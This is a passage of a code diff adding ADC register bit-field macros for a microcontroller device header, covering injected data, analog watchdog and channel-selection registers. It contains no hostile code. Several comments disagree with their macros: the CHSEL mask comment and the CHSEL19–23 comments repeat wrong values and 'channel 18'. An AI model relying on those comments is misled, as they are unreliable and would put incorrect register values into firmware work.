+/******************** Bit definition for ADC_JDR4 register ********************/ +#define ADC_JDR4_JDATA_Pos (0UL) +#define ADC_JDR4_JDATA_Msk (0xFFFFFFFFUL << ADC_JDR4_JDATA_Pos) /*!< 0xFFFFFFFF */ +#define ADC_JDR4_JDATA ADC_JDR4_JDATA_Msk /*!< ADC Injected DATA */ +#define ADC_JDR4_JDATA_0 (0x00000001UL << ADC_JDR4_JDATA_Pos) /*!< 0x00000001 */ +#define ADC_JDR4_JDATA_1 (0x00000002UL << ADC_JDR4_JDATA_Pos) /*!< 0x00000002 */ +#define ADC_JDR4_JDATA_2 (0x00000004UL << ADC_JDR4_JDATA_Pos) /*!< 0x00000004 */ +#define ADC_JDR4_JDATA_3 (0x00000008UL << ADC_JDR4_JDATA_Pos) /*!< 0x00000008 */ +#define ADC_JDR4_JDATA_4 (0x00000010UL << ADC_JDR4_JDATA_Pos) /*!< 0x00000010 */ +#define ADC_JDR4_JDATA_5 (0x00000020UL << ADC_JDR4_JDATA_Pos) /*!< 0x00000020 */ +#define ADC_JDR4_JDATA_6 (0x00000040UL << ADC_JDR4_JDATA_Pos) /*!< 0x00000040 */ +#define ADC_JDR4_JDATA_7 (0x00000080UL << ADC_JDR4_JDATA_Pos) /*!< 0x00000080 */ +#define ADC_JDR4_JDATA_8 (0x00000100UL << ADC_JDR4_JDATA_Pos) /*!< 0x00000100 */ +#define ADC_JDR4_JDATA_9 (0x00000200UL << ADC_JDR4_JDATA_Pos) /*!< 0x00000200 */ +#define ADC_JDR4_JDATA_10 (0x00000400UL << ADC_JDR4_JDATA_Pos) /*!< 0x00000400 */ +#define ADC_JDR4_JDATA_11 (0x00000800UL << ADC_JDR4_JDATA_Pos) /*!< 0x00000800 */ +#define ADC_JDR4_JDATA_12 (0x00001000UL << ADC_JDR4_JDATA_Pos) /*!< 0x00001000 */ +#define ADC_JDR4_JDATA_13 (0x00002000UL << ADC_JDR4_JDATA_Pos) /*!< 0x00002000 */ +#define ADC_JDR4_JDATA_14 (0x00004000UL << ADC_JDR4_JDATA_Pos) /*!< 0x00004000 */ +#define ADC_JDR4_JDATA_15 (0x00008000UL << ADC_JDR4_JDATA_Pos) /*!< 0x00008000 */ +#define ADC_JDR4_JDATA_16 (0x00010000UL << ADC_JDR4_JDATA_Pos) /*!< 0x00010000 */ +#define ADC_JDR4_JDATA_17 (0x00020000UL << ADC_JDR4_JDATA_Pos) /*!< 0x00020000 */ +#define ADC_JDR4_JDATA_18 (0x00040000UL << ADC_JDR4_JDATA_Pos) /*!< 0x00040000 */ +#define ADC_JDR4_JDATA_19 (0x00080000UL << ADC_JDR4_JDATA_Pos) /*!< 0x00080000 */ +#define ADC_JDR4_JDATA_20 (0x00100000UL << ADC_JDR4_JDATA_Pos) /*!< 0x00100000 */ +#define ADC_JDR4_JDATA_21 (0x00200000UL << ADC_JDR4_JDATA_Pos) /*!< 0x00200000 */ +#define ADC_JDR4_JDATA_22 (0x00400000UL << ADC_JDR4_JDATA_Pos) /*!< 0x00400000 */ +#define ADC_JDR4_JDATA_23 (0x00800000UL << ADC_JDR4_JDATA_Pos) /*!< 0x00800000 */ +#define ADC_JDR4_JDATA_24 (0x01000000UL << ADC_JDR4_JDATA_Pos) /*!< 0x01000000 */ +#define ADC_JDR4_JDATA_25 (0x02000000UL << ADC_JDR4_JDATA_Pos) /*!< 0x02000000 */ +#define ADC_JDR4_JDATA_26 (0x04000000UL << ADC_JDR4_JDATA_Pos) /*!< 0x04000000 */ +#define ADC_JDR4_JDATA_27 (0x08000000UL << ADC_JDR4_JDATA_Pos) /*!< 0x08000000 */ +#define ADC_JDR4_JDATA_28 (0x10000000UL << ADC_JDR4_JDATA_Pos) /*!< 0x10000000 */ +#define ADC_JDR4_JDATA_29 (0x20000000UL << ADC_JDR4_JDATA_Pos) /*!< 0x20000000 */ +#define ADC_JDR4_JDATA_30 (0x40000000UL << ADC_JDR4_JDATA_Pos) /*!< 0x40000000 */ +#define ADC_JDR4_JDATA_31 (0x80000000UL << ADC_JDR4_JDATA_Pos) /*!< 0x80000000 */ + +/******************** Bit definition for ADC_AWD2CR register ********************/ +#define ADC_AWD2CR_AWD2CH_Pos (0UL) +#define ADC_AWD2CR_AWD2CH_Msk (0xFFFFFFUL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00FFFFFF */ +#define ADC_AWD2CR_AWD2CH ADC_AWD2CR_AWD2CH_Msk /*!< ADC Analog watchdog 2 channel selection */ +#define ADC_AWD2CR_AWD2CH_0 (0x00001UL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00000001 */ +#define ADC_AWD2CR_AWD2CH_1 (0x00002UL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00000002 */ +#define ADC_AWD2CR_AWD2CH_2 (0x00004UL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00000004 */ +#define ADC_AWD2CR_AWD2CH_3 (0x00008UL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00000008 */ +#define ADC_AWD2CR_AWD2CH_4 (0x00010UL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00000010 */ +#define ADC_AWD2CR_AWD2CH_5 (0x00020UL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00000020 */ +#define ADC_AWD2CR_AWD2CH_6 (0x00040UL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00000040 */ +#define ADC_AWD2CR_AWD2CH_7 (0x00080UL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00000080 */ +#define ADC_AWD2CR_AWD2CH_8 (0x00100UL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00000100 */ +#define ADC_AWD2CR_AWD2CH_9 (0x00200UL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00000200 */ +#define ADC_AWD2CR_AWD2CH_10 (0x00400UL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00000400 */ +#define ADC_AWD2CR_AWD2CH_11 (0x00800UL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00000800 */ +#define ADC_AWD2CR_AWD2CH_12 (0x01000UL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00001000 */ +#define ADC_AWD2CR_AWD2CH_13 (0x02000UL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00002000 */ +#define ADC_AWD2CR_AWD2CH_14 (0x04000UL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00004000 */ +#define ADC_AWD2CR_AWD2CH_15 (0x08000UL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00008000 */ +#define ADC_AWD2CR_AWD2CH_16 (0x10000UL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00010000 */ +#define ADC_AWD2CR_AWD2CH_17 (0x20000UL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00020000 */ +#define ADC_AWD2CR_AWD2CH_18 (0x40000UL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00040000 */ +#define ADC_AWD2CR_AWD2CH_19 (0x80000UL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00080000 */ +#define ADC_AWD2CR_AWD2CH_20 (0x100000UL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00100000 */ +#define ADC_AWD2CR_AWD2CH_21 (0x200000UL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00200000 */ +#define ADC_AWD2CR_AWD2CH_22 (0x400000UL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00400000 */ +#define ADC_AWD2CR_AWD2CH_23 (0x800000UL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00800000 */ + +/******************** Bit definition for ADC_AWD1TR register *******************/ +#define ADC_AWD1TR_LT1_Pos (0UL) +#define ADC_AWD1TR_LT1_Msk (0xFFFUL << ADC_AWD1TR_LT1_Pos) /*!< 0x00000FFF */ +#define ADC_AWD1TR_LT1 ADC_AWD1TR_LT1_Msk /*!< ADC analog watchdog 1 threshold low */ +#define ADC_AWD1TR_LT1_0 (0x001UL << ADC_AWD1TR_LT1_Pos) /*!< 0x00000001 */ +#define ADC_AWD1TR_LT1_1 (0x002UL << ADC_AWD1TR_LT1_Pos) /*!< 0x00000002 */ +#define ADC_AWD1TR_LT1_2 (0x004UL << ADC_AWD1TR_LT1_Pos) /*!< 0x00000004 */ +#define ADC_AWD1TR_LT1_3 (0x008UL << ADC_AWD1TR_LT1_Pos) /*!< 0x00000008 */ +#define ADC_AWD1TR_LT1_4 (0x010UL << ADC_AWD1TR_LT1_Pos) /*!< 0x00000010 */ +#define ADC_AWD1TR_LT1_5 (0x020UL << ADC_AWD1TR_LT1_Pos) /*!< 0x00000020 */ +#define ADC_AWD1TR_LT1_6 (0x040UL << ADC_AWD1TR_LT1_Pos) /*!< 0x00000040 */ +#define ADC_AWD1TR_LT1_7 (0x080UL << ADC_AWD1TR_LT1_Pos) /*!< 0x00000080 */ +#define ADC_AWD1TR_LT1_8 (0x100UL << ADC_AWD1TR_LT1_Pos) /*!< 0x00000100 */ +#define ADC_AWD1TR_LT1_9 (0x200UL << ADC_AWD1TR_LT1_Pos) /*!< 0x00000200 */ +#define ADC_AWD1TR_LT1_10 (0x400UL << ADC_AWD1TR_LT1_Pos) /*!< 0x00000400 */ +#define ADC_AWD1TR_LT1_11 (0x800UL << ADC_AWD1TR_LT1_Pos) /*!< 0x00000800 */ + +#define ADC_AWD1TR_HT1_Pos (16UL) +#define ADC_AWD1TR_HT1_Msk (0xFFFUL << ADC_AWD1TR_HT1_Pos) /*!< 0x0FFF0000 */ +#define ADC_AWD1TR_HT1 ADC_AWD1TR_HT1_Msk /*!< ADC Analog watchdog 1 threshold high */ +#define ADC_AWD1TR_HT1_0 (0x001UL << ADC_AWD1TR_HT1_Pos) /*!< 0x00010000 */ +#define ADC_AWD1TR_HT1_1 (0x002UL << ADC_AWD1TR_HT1_Pos) /*!< 0x00020000 */ +#define ADC_AWD1TR_HT1_2 (0x004UL << ADC_AWD1TR_HT1_Pos) /*!< 0x00040000 */ +#define ADC_AWD1TR_HT1_3 (0x008UL << ADC_AWD1TR_HT1_Pos) /*!< 0x00080000 */ +#define ADC_AWD1TR_HT1_4 (0x010UL << ADC_AWD1TR_HT1_Pos) /*!< 0x00100000 */ +#define ADC_AWD1TR_HT1_5 (0x020UL << ADC_AWD1TR_HT1_Pos) /*!< 0x00200000 */ +#define ADC_AWD1TR_HT1_6 (0x040UL << ADC_AWD1TR_HT1_Pos) /*!< 0x00400000 */ +#define ADC_AWD1TR_HT1_7 (0x080UL << ADC_AWD1TR_HT1_Pos) /*!< 0x00800000 */ +#define ADC_AWD1TR_HT1_8 (0x100UL << ADC_AWD1TR_HT1_Pos) /*!< 0x01000000 */ +#define ADC_AWD1TR_HT1_9 (0x200UL << ADC_AWD1TR_HT1_Pos) /*!< 0x02000000 */ +#define ADC_AWD1TR_HT1_10 (0x400UL << ADC_AWD1TR_HT1_Pos) /*!< 0x04000000 */ +#define ADC_AWD1TR_HT1_11 (0x800UL << ADC_AWD1TR_HT1_Pos) /*!< 0x08000000 */ + +/******************** Bit definition for ADC_AWDTR2 register *******************/ +#define ADC_AWD2TR_LT2_Pos (0UL) +#define ADC_AWD2TR_LT2_Msk (0xFFFUL << ADC_AWD2TR_LT2_Pos) /*!< 0x00000FFF */ +#define ADC_AWD2TR_LT2 ADC_AWD2TR_LT2_Msk /*!< ADC analog watchdog 2 threshold low */ +#define ADC_AWD2TR_LT2_0 (0x001UL << ADC_AWD2TR_LT2_Pos) /*!< 0x00000001 */ +#define ADC_AWD2TR_LT2_1 (0x002UL << ADC_AWD2TR_LT2_Pos) /*!< 0x00000002 */ +#define ADC_AWD2TR_LT2_2 (0x004UL << ADC_AWD2TR_LT2_Pos) /*!< 0x00000004 */ +#define ADC_AWD2TR_LT2_3 (0x008UL << ADC_AWD2TR_LT2_Pos) /*!< 0x00000008 */ +#define ADC_AWD2TR_LT2_4 (0x010UL << ADC_AWD2TR_LT2_Pos) /*!< 0x00000010 */ +#define ADC_AWD2TR_LT2_5 (0x020UL << ADC_AWD2TR_LT2_Pos) /*!< 0x00000020 */ +#define ADC_AWD2TR_LT2_6 (0x040UL << ADC_AWD2TR_LT2_Pos) /*!< 0x00000040 */ +#define ADC_AWD2TR_LT2_7 (0x080UL << ADC_AWD2TR_LT2_Pos) /*!< 0x00000080 */ +#define ADC_AWD2TR_LT2_8 (0x100UL << ADC_AWD2TR_LT2_Pos) /*!< 0x00000100 */ +#define ADC_AWD2TR_LT2_9 (0x200UL << ADC_AWD2TR_LT2_Pos) /*!< 0x00000200 */ +#define ADC_AWD2TR_LT2_10 (0x400UL << ADC_AWD2TR_LT2_Pos) /*!< 0x00000400 */ +#define ADC_AWD2TR_LT2_11 (0x800UL << ADC_AWD2TR_LT2_Pos) /*!< 0x00000800 */ + +#define ADC_AWD2TR_HT2_Pos (16UL) +#define ADC_AWD2TR_HT2_Msk (0xFFFUL << ADC_AWD2TR_HT2_Pos) /*!< 0x0FFF0000 */ +#define ADC_AWD2TR_HT2 ADC_AWD2TR_HT2_Msk /*!< ADC analog watchdog 2 threshold high */ +#define ADC_AWD2TR_HT2_0 (0x001UL << ADC_AWD2TR_HT2_Pos) /*!< 0x00010000 */ +#define ADC_AWD2TR_HT2_1 (0x002UL << ADC_AWD2TR_HT2_Pos) /*!< 0x00020000 */ +#define ADC_AWD2TR_HT2_2 (0x004UL << ADC_AWD2TR_HT2_Pos) /*!< 0x00040000 */ +#define ADC_AWD2TR_HT2_3 (0x008UL << ADC_AWD2TR_HT2_Pos) /*!< 0x00080000 */ +#define ADC_AWD2TR_HT2_4 (0x010UL << ADC_AWD2TR_HT2_Pos) /*!< 0x00100000 */ +#define ADC_AWD2TR_HT2_5 (0x020UL << ADC_AWD2TR_HT2_Pos) /*!< 0x00200000 */ +#define ADC_AWD2TR_HT2_6 (0x040UL << ADC_AWD2TR_HT2_Pos) /*!< 0x00400000 */ +#define ADC_AWD2TR_HT2_7 (0x080UL << ADC_AWD2TR_HT2_Pos) /*!< 0x00800000 */ +#define ADC_AWD2TR_HT2_8 (0x100UL << ADC_AWD2TR_HT2_Pos) /*!< 0x01000000 */ +#define ADC_AWD2TR_HT2_9 (0x200UL << ADC_AWD2TR_HT2_Pos) /*!< 0x02000000 */ +#define ADC_AWD2TR_HT2_10 (0x400UL << ADC_AWD2TR_HT2_Pos) /*!< 0x04000000 */ +#define ADC_AWD2TR_HT2_11 (0x800UL << ADC_AWD2TR_HT2_Pos) /*!< 0x08000000 */ + +/******************** Bit definition for ADC_CHSELR register ****************/ +#define ADC_CHSELR_CHSEL_Pos (0UL) +#define ADC_CHSELR_CHSEL_Msk (0xFFFFFFUL << ADC_CHSELR_CHSEL_Pos) /*!< 0x0007FFFF */ +#define ADC_CHSELR_CHSEL ADC_CHSELR_CHSEL_Msk /*!< ADC group regular sequencer channels, available when ADC_CFGR1_CHSELRMOD is reset */ + +#define ADC_CHSELR_CHSEL0_Pos (0UL) +#define ADC_CHSELR_CHSEL0_Msk (0x1UL << ADC_CHSELR_CHSEL0_Pos) /*!< 0x00000001 */ +#define ADC_CHSELR_CHSEL0 ADC_CHSELR_CHSEL0_Msk /*!< ADC group regular sequencer channel 0, available when ADC_CFGR1_CHSELRMOD is reset */ +#define ADC_CHSELR_CHSEL1_Pos (1UL) +#define ADC_CHSELR_CHSEL1_Msk (0x1UL << ADC_CHSELR_CHSEL1_Pos) /*!< 0x00000002 */ +#define ADC_CHSELR_CHSEL1 ADC_CHSELR_CHSEL1_Msk /*!< ADC group regular sequencer channel 1, available when ADC_CFGR1_CHSELRMOD is reset */ +#define ADC_CHSELR_CHSEL2_Pos (2UL) +#define ADC_CHSELR_CHSEL2_Msk (0x1UL << ADC_CHSELR_CHSEL2_Pos) /*!< 0x00000004 */ +#define ADC_CHSELR_CHSEL2 ADC_CHSELR_CHSEL2_Msk /*!< ADC group regular sequencer channel 2, available when ADC_CFGR1_CHSELRMOD is reset */ +#define ADC_CHSELR_CHSEL3_Pos (3UL) +#define ADC_CHSELR_CHSEL3_Msk (0x1UL << ADC_CHSELR_CHSEL3_Pos) /*!< 0x00000008 */ +#define ADC_CHSELR_CHSEL3 ADC_CHSELR_CHSEL3_Msk /*!< ADC group regular sequencer channel 3, available when ADC_CFGR1_CHSELRMOD is reset */ +#define ADC_CHSELR_CHSEL4_Pos (4UL) +#define ADC_CHSELR_CHSEL4_Msk (0x1UL << ADC_CHSELR_CHSEL4_Pos) /*!< 0x00000010 */ +#define ADC_CHSELR_CHSEL4 ADC_CHSELR_CHSEL4_Msk /*!< ADC group regular sequencer channel 4, available when ADC_CFGR1_CHSELRMOD is reset */ +#define ADC_CHSELR_CHSEL5_Pos (5UL) +#define ADC_CHSELR_CHSEL5_Msk (0x1UL << ADC_CHSELR_CHSEL5_Pos) /*!< 0x00000020 */ +#define ADC_CHSELR_CHSEL5 ADC_CHSELR_CHSEL5_Msk /*!< ADC group regular sequencer channel 5, available when ADC_CFGR1_CHSELRMOD is reset */ +#define ADC_CHSELR_CHSEL6_Pos (6UL) +#define ADC_CHSELR_CHSEL6_Msk (0x1UL << ADC_CHSELR_CHSEL6_Pos) /*!< 0x00000040 */ +#define ADC_CHSELR_CHSEL6 ADC_CHSELR_CHSEL6_Msk /*!< ADC group regular sequencer channel 6, available when ADC_CFGR1_CHSELRMOD is reset */ +#define ADC_CHSELR_CHSEL7_Pos (7UL) +#define ADC_CHSELR_CHSEL7_Msk (0x1UL << ADC_CHSELR_CHSEL7_Pos) /*!< 0x00000080 */ +#define ADC_CHSELR_CHSEL7 ADC_CHSELR_CHSEL7_Msk /*!< ADC group regular sequencer channel 7, available when ADC_CFGR1_CHSELRMOD is reset */ +#define ADC_CHSELR_CHSEL8_Pos (8UL) +#define ADC_CHSELR_CHSEL8_Msk (0x1UL << ADC_CHSELR_CHSEL8_Pos) /*!< 0x00000100 */ +#define ADC_CHSELR_CHSEL8 ADC_CHSELR_CHSEL8_Msk /*!< ADC group regular sequencer channel 8, available when ADC_CFGR1_CHSELRMOD is reset */ +#define ADC_CHSELR_CHSEL9_Pos (9UL) +#define ADC_CHSELR_CHSEL9_Msk (0x1UL << ADC_CHSELR_CHSEL9_Pos) /*!< 0x00000200 */ +#define ADC_CHSELR_CHSEL9 ADC_CHSELR_CHSEL9_Msk /*!< ADC group regular sequencer channel 9, available when ADC_CFGR1_CHSELRMOD is reset */ +#define ADC_CHSELR_CHSEL10_Pos (10UL) +#define ADC_CHSELR_CHSEL10_Msk (0x1UL << ADC_CHSELR_CHSEL10_Pos) /*!< 0x00000400 */ +#define ADC_CHSELR_CHSEL10 ADC_CHSELR_CHSEL10_Msk /*!< ADC group regular sequencer channel 10, available when ADC_CFGR1_CHSELRMOD is reset */ +#define ADC_CHSELR_CHSEL11_Pos (11UL) +#define ADC_CHSELR_CHSEL11_Msk (0x1UL << ADC_CHSELR_CHSEL11_Pos) /*!< 0x00000800 */ +#define ADC_CHSELR_CHSEL11 ADC_CHSELR_CHSEL11_Msk /*!< ADC group regular sequencer channel 11, available when ADC_CFGR1_CHSELRMOD is reset */ +#define ADC_CHSELR_CHSEL12_Pos (12UL) +#define ADC_CHSELR_CHSEL12_Msk (0x1UL << ADC_CHSELR_CHSEL12_Pos) /*!< 0x00001000 */ +#define ADC_CHSELR_CHSEL12 ADC_CHSELR_CHSEL12_Msk /*!< ADC group regular sequencer channel 12, available when ADC_CFGR1_CHSELRMOD is reset */ +#define ADC_CHSELR_CHSEL13_Pos (13UL) +#define ADC_CHSELR_CHSEL13_Msk (0x1UL << ADC_CHSELR_CHSEL13_Pos) /*!< 0x00002000 */ +#define ADC_CHSELR_CHSEL13 ADC_CHSELR_CHSEL13_Msk /*!< ADC group regular sequencer channel 13, available when ADC_CFGR1_CHSELRMOD is reset */ +#define ADC_CHSELR_CHSEL14_Pos (14UL) +#define ADC_CHSELR_CHSEL14_Msk (0x1UL << ADC_CHSELR_CHSEL14_Pos) /*!< 0x00004000 */ +#define ADC_CHSELR_CHSEL14 ADC_CHSELR_CHSEL14_Msk /*!< ADC group regular sequencer channel 14, available when ADC_CFGR1_CHSELRMOD is reset */ +#define ADC_CHSELR_CHSEL15_Pos (15UL) +#define ADC_CHSELR_CHSEL15_Msk (0x1UL << ADC_CHSELR_CHSEL15_Pos) /*!< 0x00008000 */ +#define ADC_CHSELR_CHSEL15 ADC_CHSELR_CHSEL15_Msk /*!< ADC group regular sequencer channel 15, available when ADC_CFGR1_CHSELRMOD is reset */ +#define ADC_CHSELR_CHSEL16_Pos (16UL) +#define ADC_CHSELR_CHSEL16_Msk (0x1UL << ADC_CHSELR_CHSEL16_Pos) /*!< 0x00010000 */ +#define ADC_CHSELR_CHSEL16 ADC_CHSELR_CHSEL16_Msk /*!< ADC group regular sequencer channel 16, available when ADC_CFGR1_CHSELRMOD is reset */ +#define ADC_CHSELR_CHSEL17_Pos (17UL) +#define ADC_CHSELR_CHSEL17_Msk (0x1UL << ADC_CHSELR_CHSEL17_Pos) /*!< 0x00020000 */ +#define ADC_CHSELR_CHSEL17 ADC_CHSELR_CHSEL17_Msk /*!< ADC group regular sequencer channel 17, available when ADC_CFGR1_CHSELRMOD is reset */ +#define ADC_CHSELR_CHSEL18_Pos (18UL) +#define ADC_CHSELR_CHSEL18_Msk (0x1UL << ADC_CHSELR_CHSEL18_Pos) /*!< 0x00040000 */ +#define ADC_CHSELR_CHSEL18 ADC_CHSELR_CHSEL18_Msk /*!< ADC group regular sequencer channel 18, available when ADC_CFGR1_CHSELRMOD is reset */ +#define ADC_CHSELR_CHSEL19_Pos (19UL) +#define ADC_CHSELR_CHSEL19_Msk (0x1UL << ADC_CHSELR_CHSEL19_Pos) /*!< 0x00040000 */ +#define ADC_CHSELR_CHSEL19 ADC_CHSELR_CHSEL19_Msk /*!< ADC group regular sequencer channel 18, available when ADC_CFGR1_CHSELRMOD is reset */ +#define ADC_CHSELR_CHSEL20_Pos (20UL) +#define ADC_CHSELR_CHSEL20_Msk (0x1UL << ADC_CHSELR_CHSEL20_Pos) /*!< 0x00040000 */ +#define ADC_CHSELR_CHSEL20 ADC_CHSELR_CHSEL20_Msk /*!< ADC group regular sequencer channel 18, available when ADC_CFGR1_CHSELRMOD is reset */ +#define ADC_CHSELR_CHSEL21_Pos (21UL) +#define ADC_CHSELR_CHSEL21_Msk (0x1UL << ADC_CHSELR_CHSEL21_Pos) /*!< 0x00040000 */ +#define ADC_CHSELR_CHSEL21 ADC_CHSELR_CHSEL21_Msk /*!< ADC group regular sequencer channel 18, available when ADC_CFGR1_CHSELRMOD is reset */ +#define ADC_CHSELR_CHSEL22_Pos (22UL) +#define ADC_CHSELR_CHSEL22_Msk (0x1UL << ADC_CHSELR_CHSEL22_Pos) /*!< 0x00040000 */ +#define ADC_CHSELR_CHSEL22 ADC_CHSELR_CHSEL22_Msk /*!< ADC group regular sequencer channel 18, available when ADC_CFGR1_CHSELRMOD is reset */ +#define ADC_CHSELR_CHSEL23_Pos (23UL) +#define ADC_CHSELR_CHSEL23_Msk (0x1UL << ADC_CHSELR_CHSEL23_Pos) /*!< 0x00040000 */ +#define ADC_CHSELR_CHSEL23 ADC_CHSELR_CHSEL23_Msk /*!< ADC group regular sequencer channel 18, available when ADC_CFGR1_CHSELRMOD is reset */ + +#define ADC_CHSELR_SQ_ALL_Pos (0UL) +#define ADC_CHSELR_SQ_ALL_Msk (0xFFFFFFFFUL << ADC_CHSELR_SQ_ALL_Pos) /*!< 0xFFFFFFFF */ +#define ADC_CHSELR_SQ_ALL ADC_CHSELR_SQ_ALL_Msk /*!< ADC group regular sequencer all ranks, available when ADC_CFGR1_CHSELRMOD is set */ + +#define ADC_CHSELR_SQ1_Pos (0UL) +#define ADC_CHSELR_SQ1_Msk (0xFUL << ADC_CHSELR_SQ1_Pos) /*!< 0x0000000F */ +#define ADC_CHSELR_SQ1 ADC_CHSELR_SQ1_Msk /*!< ADC group regular sequencer rank 1, available when ADC_CFGR1_CHSELRMOD is set */ +#define ADC_CHSELR_SQ1_0 (0x1UL << ADC_CHSELR_SQ1_Pos) /*!< 0x00000001 */ +#define ADC_CHSELR_SQ1_1 (0x2UL << ADC_CHSELR_SQ1_Pos) /*!< 0x00000002 */ +#define ADC_CHSELR_SQ1_2 (0x4UL << ADC_CHSELR_SQ1_Pos) /*!< 0x00000004 */ +#define ADC_CHSELR_SQ1_3 (0x8UL << ADC_CHSELR_SQ1_Pos) /*!< 0x00000008 */ + +#define ADC_CHSELR_SQ2_Pos (4UL) +#define ADC_CHSELR_SQ2_Msk (0xFUL << ADC_CHSELR_SQ2_Pos) /*!< 0x000000F0 */ +#define ADC_CHSELR_SQ2 ADC_CHSELR_SQ2_Msk /*!< ADC group regular sequencer rank 2, available when ADC_CFGR1_CHSELRMOD is set */ +#define ADC_CHSELR_SQ2_0 (0x1UL << ADC_CHSELR_SQ2_Pos) /*!< 0x00000010 */ +#define ADC_CHSELR_SQ2_1 (0x2UL << ADC_CHSELR_SQ2_Pos) /*!< 0x00000020 */ +#define ADC_CHSELR_SQ2_2 (0x4UL << ADC_CHSELR_SQ2_Pos) /*!< 0x00000040 */ +#define ADC_CHSELR_SQ2_3 (0x8UL << ADC_CHSELR_SQ2_Pos) /*!< 0x00000080 */ + +#define ADC_CHSELR_SQ3_Pos (8UL) +#define ADC_CHSELR_SQ3_Msk (0xFUL << ADC_CHSELR_SQ3_Pos) /*!< 0x00000F00 */ +#define ADC_CHSELR_SQ3 ADC_CHSELR_SQ3_Msk /*!< ADC group regular sequencer rank 3, available when ADC_CFGR1_CHSELRMOD is set */ +#define ADC_CHSELR_SQ3_0 (0x1UL << ADC_CHSELR_SQ3_Pos) /*!< 0x00000100 */ +#define ADC_CHSELR_SQ3_1 (0x2UL << ADC_CHSELR_SQ3_Pos) /*!< 0x00000200 */ +#define ADC_CHSELR_SQ3_2 (0x4UL << ADC_CHSELR_SQ3_Pos) /*!< 0x00000400 */ +#define ADC_CHSELR_SQ3_3 (0x8UL << ADC_CHSELR_SQ3_Pos) /*!< 0x00000800 */ + +#define ADC_CHSELR_SQ4_Pos (12UL) +#define ADC_CHSELR_SQ4_Msk (0xFUL << ADC_CHSELR_SQ4_Pos) /*!< 0x0000F000 */ +#define ADC_CHSELR_SQ4 ADC_CHSELR_SQ4_Msk /*!< ADC group regular sequencer rank 4, available when ADC_CFGR1_CHSELRMOD is set */ +#define ADC_CHSELR_SQ4_0 (0x1UL << ADC_CHSELR_SQ4_Pos) /*!< 0x00001000 */ +#define ADC_CHSELR_SQ4_1 (0x2UL << ADC_CHSELR_SQ4_Pos) /*!< 0x00002000 */ +#define ADC_CHSELR_SQ4_2 (0x4UL << ADC_CHSELR_SQ4_Pos) /*!< 0x00004000 */ +#define ADC_CHSELR_SQ4_3 (0x8UL << ADC_CHSELR_SQ4_Pos) /*!< 0x00008000 */ + +#define ADC_CHSELR_SQ5_Pos (16UL) +#define ADC_CHSELR_SQ5_Msk (0xFUL << ADC_CHSELR_SQ5_Pos) /*!< 0x000F0000 */ +#define ADC_CHSELR_SQ5 ADC_CHSELR_SQ5_Msk /*!< ADC group regular sequencer rank 5, available when ADC_CFGR1_CHSELRMOD is set */ +#define ADC_CHSELR_SQ5_0 (0x1UL << ADC_CHSELR_SQ5_Pos) /*!< 0x00010000 */ +#define ADC_CHSELR_SQ5_1 (0x2UL << ADC_CHSELR_SQ5_Pos) /*!< 0x00020000 */ +#define ADC_CHSELR_SQ5_2 (0x4UL << ADC_CHSELR_SQ5_Pos) /*!< 0x00040000 */ +#define ADC_CHSELR_SQ5_3 (0x8UL << ADC_CHSELR_SQ5_Pos) /*!< 0x00080000 */ + +#define ADC_CHSELR_SQ6_Pos (20UL) +#define ADC_CHSELR_SQ6_Msk (0xFUL << ADC_CHSELR_SQ6_Pos) /*!< 0x00F00000 */ +#define ADC_CHSELR_SQ6 ADC_CHSELR_SQ6_Msk /*!< ADC group regular sequencer rank 6, available when ADC_CFGR1_CHSELRMOD is set */ +#define ADC_CHSELR_SQ6_0 (0x1UL << ADC_CHSELR_SQ6_Pos) /*!< 0x00100000 */ +#define ADC_CHSELR_SQ6_1 (0x2UL << ADC_CHSELR_SQ6_Pos) /*!< 0x00200000 */ +#define ADC_CHSELR_SQ6_2 (0x4UL << ADC_CHSELR_SQ6_Pos) /*!< 0x00400000 */ +#define ADC_CHSELR_SQ6_3 (0x8UL << ADC_CHSELR_SQ6_Pos) /*!< 0x00800000 */ + +#define ADC_CHSELR_SQ7_Pos (24UL) +#define ADC_CHSELR_SQ7_Msk (0xFUL << ADC_CHSELR_SQ7_Pos) /*!< 0x0F000000 */ +#define ADC_CHSELR_SQ7 ADC_CHSELR_SQ7_Msk /*!< ADC group regular sequencer rank 7, available when ADC_CFGR1_CHSELRMOD is set */ +#define ADC_CHSELR_SQ7_0 (0x1UL << ADC_CHSELR_SQ7_Pos) /*!< 0x01000000 */ +#define ADC_CHSELR_SQ7_1 (0x2UL << ADC_CHSELR_SQ7_Pos) /*!< 0x02000000 */ +#define ADC_CHSELR_SQ7_2 (0x4UL << ADC_CHSELR_SQ7_Pos) /*!< 0x04000000 */ +#define ADC_CHSELR_SQ7_3 (0x8UL << ADC_CHSELR_SQ7_Pos) /*!< 0x08000000 */ + +#define ADC_CHSELR_SQ8_Pos (28UL) +#define ADC_CHSELR_SQ8_Msk (0xFUL << ADC_CHSELR_SQ8_Pos) /*!< 0xF0000000 */ +#define ADC_CHSELR_SQ8 ADC_CHSELR_SQ8_Msk /*!< ADC group regular sequencer rank 8, available when ADC_CFGR1_CHSELRMOD is set */ +#define ADC_CHSELR_SQ8_0 (0x1UL << ADC_CHSELR_SQ8_Pos) /*!< 0x10000000 */ +#define 